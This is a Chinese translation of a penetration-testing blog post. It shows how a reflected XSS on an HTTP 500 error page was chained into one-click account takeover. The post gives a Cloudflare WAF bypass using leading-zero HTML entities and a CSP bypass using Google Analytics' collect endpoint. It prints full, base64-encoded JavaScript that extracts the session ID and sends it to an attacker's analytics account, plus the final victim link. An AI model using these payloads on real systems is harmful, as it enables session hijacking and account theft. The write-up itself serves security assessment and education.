從500到賬戶接管

SecIN發表於2022-05-09

譯文來源:https://sensepost.com/blog/2021/from-500-to-account-takeover/。受個人知識所限及偏見影響,部分內容可能會存在過度曲解及誤解情況,望各位師傅包含並提出建議,感謝。

簡介

在一次漏洞評估的過程中,一個位於HTTP 500“內部伺服器錯誤”頁面上的普通跨站指令碼(XSS)漏洞,被我成功地變成了一鍵式的賬戶接管。在本篇部落格中,我希望將本次我利用已知的Cloudflare WAF繞過技術,和利用Google Analytics作為CSP繞過手段來提取會話口令的方式給大家敘述一下。

資訊偵查

在評估開始時,我很快就注意到該Web應用將會話ID作為某種JavaScript報錯函式的一部分儲存在了一個message變數裡。且如果window.error事件被觸發的話,該函式就會被執行。

wKg0C2JSyWeAXvjcAADKQkMgZU471.png

於是我便著手去尋找一種提取這些資料的方法。有什麼會是可能性和理論上更適合做這件事的中間人呢?當然是XSS!

wKg0C2JSyWACx3AAABiQozzAnw727.png

在評估過程中,我的同事Koen Claes提到了這個有意思的XSS向量,我們可以在一個500“內部伺服器錯誤”頁面上找到它。請注意下方URL中的EndUserVisibleHtmlMessage引數:

https://webapp.example.eu/Shared/VisibleError?NotDialog=True&ErrorCode=&EndUserVisibleHtmlMessage=<XSSpayloadhere>&ShowWarningIcon=False&Title=Culture+change+detected&CultureInfo=be-EN&Print=False

這聽上去不是很安全,不是嗎?事實上,這種情況下幾乎太容易去執行該漏洞了。但是,出現了一個問題!當我們利用該引數想要成功觸發XSS時碰到了兩處防護措施,因此我們需要制定一個攻擊計劃:

  1. 1.攻破Cloudflare“軍事級別的AI增強型”Web應用防火牆(WAF)
  2. 2.欺騙我們的好朋友,CSP先生

由於CLoudflare通常是部署在應用程式前面的,這就意味著像是< script>alert(1)</script>這樣簡單的的payload將不會起到任何效果。

DNS覆蓋

我們首先想到的是嘗試一種比較常用的手段在客戶端層面上來繞過WAF:DNS覆蓋。假設我們能夠找到Cloudflare背後的源伺服器(並且它允許來自公網的連線),我們就可以透過直接與該伺服器相連從而繞過WAF。

有許多眾所周知的方法都能夠找到那些受雲WAF(或者乾脆就是指Cloudflare WAF本身的擴充套件應用)保護的web服務背後的源伺服器。比方說:

  1. 1.在Censys或類似的服務中搜尋目標網站的域名,這樣會顯示出有哪些伺服器正在使用與目標伺服器相同的TLS證照等資訊
  2. 2.透過在Shodan上搜尋相同的favico雜湊值來嘗試暴露出相關地址(可以透過在https://github.com/pielco11/fav-up上實現)
  3. 3.查詢DNS歷史資料

一旦你獲取到了源伺服器的IP地址,Burp Suite允許在“Project Options(專案選項)” -> “Hostname Resolution(主機名解析)”處快速設定你自己的DNS記錄。

wKg0C2JSyXWAAq8zAABaO91LyQ511.png

當將我們發現的源伺服器IP地址填入並啟用“Hostname Resolution”後,Koen證實了他的想法,的確可以觸發XSS。那個周所周知的alert(1)彈框就要執行了。

但你們可能會想“在針對受害者進行攻擊時,這種方法在嘗試繞過Cloudflare並不總是可行的”。你們想的沒錯,尤其是當你無法訪問到受害者的基礎裝置或計算機時。因此這種方法並不能真正地作為我們攻擊鏈中的一環,我們便轉而專注於在應用程式層面上去繞過Cloudflare。

基於簽名繞過Cloudflare的方法

Cloudflare做了很多非常酷的事情,我也推薦你們可以去看一下他們的部落格!但他們也有做得不好的地方,一些眾所周知的WAF繞過手段似乎並沒有引起他們的注意/未修復。我查到了一個在我們案例中使用的繞過手段,發現它早在2019年6月份就被上報了,但截至目前2021年2月份卻仍然有效。

Cloudflare的XSS繞過可以透過新增8位或更多位多餘的十進位制前導零,或是新增7位或更多位十六進位制的前導零來實現。

十進位制:

十六進位制:

— Bohdan Korzhynskyi (@bohdansec) June 4, 2019

那條推特實際上是我在Google上第一個找到的繞過Cloudflare的推文......結果它就真的可以成功繞過並實現彈框。

https://webapp.example.eu/Shared/VisibleError?NotDialog=True&ErrorCode=&EndUserVisibleHtmlMessage=%3Csvg%20onload%3Dprompt%2526%252300000000401)%3E&ShowWarningIcon=False&Title=Culture+change+detected&CultureInfo=be-EN&Print=False

我還發現了一些不對勁的地方,如果在URL中存在一個eval可執行程式碼字串,只要第一個括號(被替換成了%26%230000000040,WAF就不會對其進行攔截。

不管怎麼說,第一件惱人的事情總算是解決掉了:

  • “攻破Cloudflare的“軍事級別的AI增強型”WAF“

下一個問題,謝謝:)

  • 欺騙我們的好朋友,CSP先生

CSP 繞過

該web應用程式中存在以下內容安全策略(CSP):

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://ssl.google-analytics.com https://maps.googleapis.com https://webapp.example.eu https://connect.facebook.net https://themes.example.eu; img-src 'self' https://ssl.google-analytics.com https://s-static.ak.facebook.com https://webapp.example.eu https://themes.example.eu http://images-awstest.example.com; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://webapp.example.eu https://themes.example.eu; font-src 'self' https://themes.googleusercontent.com; frame-src https://webapp.example.eu https://www.facebook.com https://s-static.ak.facebook.com; object-src 'none'

透過詳細地檢查CSP後,我們發現由於在CSP中設定了” 'self','unsafe-inline','unsafe-eval' “,它只允許執行來自其域本身的指令碼。

所以我想,或許可以寫一個利用Burp Collaborator中URL的fetch()方法來解決這個問題,但後來證實我想多了...... 我們發現了一個錯誤,提示connect-src不支援fetch()函式來對未宣告域進行外部HTTP呼叫。只有對源域才是有效的。

wKg0C2JSyXqANCD4AAEhUtxZUn4934.png

儘管connect-src在CSP中並沒有寫明,但是default-src 'self'會禁止任何未宣告的指令被“惡意”執行。好吧,那究竟什麼才是被允許的呢?

img-src https://ssl.google-analytics.com

或許這對於大多數人來說算是敲響了一次警鐘吧。可以透過Google Analytics來進行提取會話口令!但是要怎麼做呢?

Google Analytics

和Facebook一樣,Google Analytics透過跟蹤畫素來提供跟蹤功能。通常,跟蹤畫素會進行一些日誌記錄/指紋識別,但在本例中,我們可以主動將其利用為一個資料提取的通道。

透過深挖Google Analytics文件,我們發現可以構造一個有意思的collect介面URL。這個URL含有允許包含任意字串的特定引數。該引數稱為ea

wKg0C2JSyYCAMyVVAABzZQBKpII759.png

為了能夠利用跟蹤畫素成功新增該Google Analytics,需要3個強制性引數:

  1. 1.tid,這是我們為執行攻擊而設定的Google Analytics PoC賬戶ID
  2. 2.cid,這是一個隨機數,用於區分瀏覽器/使用者,也就是指紋識別
  3. 3.ea,可以對其分配任意字串

所以,一個簡單的示例就會是以下這樣:

https://ssl.google-analytics.com/collect?v=1&tid=UA-190183015-1&cid=13333337&t=event&ec=email&ea=anystring

考慮到該URL,可以保險地說,在完成我們為此次攻擊準備的最後一個目標後,我們就可以繞過CSP策略了:

  • 欺騙我們的好朋友,CSP先生

攢零合整

我們目前已經具備了實現完整攻擊鏈所需的4個部分,簡單回顧一下,分別是:

  1. 1.可在JavaScript函式可訪問的SessionID
  2. 2.Cloudflare繞過
  3. 3.CSP繞過
  4. 一個Google Analytics collect介面URL

接下來就讓我們將各環相扣,準備竊取會話id吧!

利用JavaScript對SessionID切片

正如簡介所述,該應用將使用者的會話cookie等資訊放在了一個報錯函式中。那麼還有什麼方法會比一個正規表示式來提取我們想要的值更合適呢?

我們藉助regex101.com並快速構建了一個正規表示式,用於提取該特定欄位及其對應的值,一個24個字元的字母數字會話ID,如下所示。

wKg0C2JSyYWAId9CAADHwmfC7sk376.png

而實際的正規表示式為:

/(?:SessionID: (?:[a-zA-Z0-9-_]{24}))/gm

wKg0C2JSyYqAPwrdAACPFYCF5xM996.png

編寫payload程式碼

由於我們想將Google Analytics跟蹤畫素附加到我們的網頁上,我們將不得不定義一個新變數,我們把它稱為gaimage

var gaimage = document.createElement("img");

接下來,宣告我們的regex變數:

var regex = /(?:SessionID: (?:[a-zA-Z0-9-_]{24}))/gm;

下面的步驟可能會有點複雜。

該應用程式在HTTP響應狀態為200 OK時才會返回之前提到的那個JavaScript報錯函式,但由於我們的XSS入口是在HTTP 500 “內部伺服器錯誤”頁面上發現的,所以我們不得不使用一下跨站請求偽造。簡單來說上是向一個頁面發出請求,該頁面的響應中會包含我們需要提取出來的會話ID。

關於我們的payload,下面的JavaScript將執行以下操作:

  1. 1.獲取HTTP響應狀態為200 OK的頁面的內容,為了設計PoC,我們在示例中填寫的是一個名為/Search/Criteria的隨機頁面URL
  2. 2.將我們的Google Analytics collect介面URL作為源分配給img標籤的屬性
  3. 3.cidMath.random()函式隨機生成
  4. 4.最重要的是,ea引數中填入了為提取SessionID用到的正規表示式
fetch("/Search/Criteria").then(response => response.text()).then(data => gaimage.src = "https://ssl.google-analytics.com/collect?v=1&tid=UA-190183015-1&cid=" + Math.floor(Math.random() * 8999999999 + 1000000000) + "&t=event&ec=email&ea=" + encodeURIComponent(data.match(regex)));

最後,透過將實際的gaimage追加到HTML DOM中來完成此程式碼:

document.head.appendChild(gaimage);

我們的JavaScript生成的惡意img元素,看起來如下:

<img src="https://ssl.google-analytics.com/collect?v=1&tid=UA-190183015-1&cid=8664644683&t=event&ec=email&ea=SessionID%3A%20ppqiitmapj45dq1dacmgeo0a">

構建HTML注入

作為我們攻擊準備的最後一步,我們需要在EndUserVisibleHtmlMessage引數中儘可能整齊地整合所有內容,XSS將會在此處觸發。

為了防止出現編碼問題(或規避一些可能的檢測),我選擇使用base64再用URL編碼對JavaScript payload進行編碼,這意味著這段程式碼:

var gaimage = document.createElement("img");var regex = /(?:SessionID: (?:[a-zA-Z0-9-_]{24}))/gm; fetch("/Search/Criteria").then(response => response.text()).then(data => gaimage.src = "https://ssl.google-analytics.com/collect?v=1&tid=UA-190183015-1&cid=" + Math.floor(Math.random() * 8999999999 + 1000000000) + "&t=event&ec=email&ea=" + encodeURIComponent(data.match(regex)));document.head.appendChild(gaimage);

將會變成這樣:

dmFyIGdhaW1hZ2UgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJpbWciKTsKdmFyIHJlZ2V4ID0gLyg%2FOlNlc3Npb25JRDogKD86W2EtekEtWjAtOS1fXXsyNH0pKS9nbTsgZmV0Y2goIi9TZWFyY2gvQ3JpdGVyaWEiKS50aGVuKHJlc3BvbnNlID0%2BIHJlc3BvbnNlLnRleHQoKSkudGhlbihkYXRhID0%2BIGdhaW1hZ2Uuc3JjID0gImh0dHBzOi8vc3NsLmdvb2dsZS1hbmFseXRpY3MuY29tL2NvbGxlY3Q%2Fdj0xJnRpZD1VQS0xOTAxODMwMTUtMSZjaWQ9IiArIE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDg5OTk5OTk5OTkgKyAxMDAwMDAwMDAwKSArICImdD1ldmVudCZlYz1lbWFpbCZlYT0iICsgZW5jb2RlVVJJQ29tcG9uZW50KGRhdGEubWF0Y2gocmVnZXgpKSk7CmRvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQoZ2FpbWFnZSk7

這也意味著,輸出的payload本身必須按照我們編碼時的步驟進行解碼以構建HTML payload:

<svg onload=eval(atob(decodeURIComponent("dmFyIGdhaW1hZ2U9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaW1nIik7IHZhciByZWdleCA9IC8oPzpTZXNzaW9uSUQ6ICg/OlthLXpBLVowLTktX117MjR9KSkvZ207IGZldGNoKCIvU2VhcmNoL0NyaXRlcmlhIikudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS50ZXh0KCkpLnRoZW4oZGF0YSA9PiBnYWltYWdlLnNyYz0iaHR0cHM6Ly9zc2wuZ29vZ2xlLWFuYWx5dGljcy5jb20vY29sbGVjdD92PTEmdGlkPVVBLTE5MDE4MzAxNS0xJmNpZD0iK01hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDg5OTk5OTk5OTkgKyAxMDAwMDAwMDAwKSsiJnQ9ZXZlbnQmZWM9ZW1haWwmZWE9IitlbmNvZGVVUklDb21wb25lbnQoZGF0YS5tYXRjaChyZWdleCkpKTsgZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChnYWltYWdlKTs=")))>

但是,像上面這樣的HTML將不會起作用,因為它沒有進行Cloudflare繞過的處理。透過應用我之前提到的Cloudflare繞過手段,我們最終就得到一個可以傳送給受害者連結了:

https://webapp.example.eu/Shared/VisibleError?NotDialog=True&ErrorCode=&EndUserVisibleHtmlMessage=%3Csvg%20onload=eval%26%230000000040atob%26%230000000040decodeURIComponent%26%230000000040%22dmFyIGdhaW1hZ2U9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaW1nIik7IHZhciByZWdleCA9IC8oPzpTZXNzaW9uSUQ6ICg%2FOlthLXpBLVowLTktX117MjR9KSkvZ207IGZldGNoKCIvU2VhcmNoL0NyaXRlcmlhIikudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS50ZXh0KCkpLnRoZW4oZGF0YSA9PiBnYWltYWdlLnNyYz0iaHR0cHM6Ly9zc2wuZ29vZ2xlLWFuYWx5dGljcy5jb20vY29sbGVjdD92PTEmdGlkPVVBLTE5MDE4MzAxNS0xJmNpZD0iK01hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDg5OTk5OTk5OTkgKyAxMDAwMDAwMDAwKSsiJnQ9ZXZlbnQmZWM9ZW1haWwmZWE9IitlbmNvZGVVUklDb21wb25lbnQoZGF0YS5tYXRjaChyZWdleCkpKTsgZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChnYWltYWdlKTs%3D%22)))%3E&ShowWarningIcon=False&Title=Culture+change+detected&CultureInfo=be-EN&Print=False

受害者的視角

從受害者瀏覽器的角度來看,<img>標籤會被插入到DOM中,如下所示。

wKg0C2JSyZGAH4oPAAB85CDGqME72.jpeg

在瀏覽器中執行的HTML注入不會觸發客戶端報錯。隨著會話ID被新增到一個跟蹤畫素上,payload就已經準備好透過Google Analytics來傳送給攻擊者了。

攻擊者的視角

在攻擊者的Google Analytics皮膚中,我們可以看到受害者會話ID被作為“活躍使用者”傳送到我們的應用程式上:)

wKg0C2JSyZqAJUQBAABVgngVfcc526.png

將這些漏洞串聯起來,透過向受害者傳送一個連結從而最終實現了賬戶接管。

補充說明: 使用帶有跟蹤保護功能廣告攔截器的使用者不易受到此類攻擊,因為對Google Analytics 的請求通常會被這些擴充套件程式阻攔。


相關文章